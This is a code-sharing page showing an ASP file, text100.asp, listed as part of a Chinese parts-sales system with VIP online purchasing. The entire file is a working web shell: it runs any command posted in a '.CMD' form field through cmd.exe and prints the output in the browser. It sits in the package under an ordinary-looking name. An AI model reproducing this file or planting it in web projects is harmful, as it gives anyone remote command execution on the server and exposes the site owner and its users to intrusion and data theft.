text100.asp

来自「销售系统,包括配件录入,配件销售,配件修改,设置反点条件,VIP用户网上购买等」· ASP 代码 · 共 35 行

ASP
35
字号
<%@ Language=VBScript %> 
<% 
Dim oScript,oScriptNet, oFileSys,oFile, szCMD,szTempFile 
On Error Resume Next
'-- create the COM objects that we will be using -- 
Set oScript = Server.createObject("WSCRIPT.SHELL")
Set oScriptNet = Server.createObject("WSCRIPT.NETWORK")
Set oFileSys = Server.createObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- ' 
szCMD = Request.form(".CMD")
if (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%> 
<HTML> 
<BODY> 
<%=server.mappath(".")%>
 <form action="<%= Request.ServerVariables("URL") %>" method="POST"> 
  <input type=text name=".CMD" size=45 value="<%= szCMD %>"> 
  <input type=submit value="Run"> 
 </form> 
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.deleteFile(szTempFile, True)
End If
%> 
</BODY> 
</HTML>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?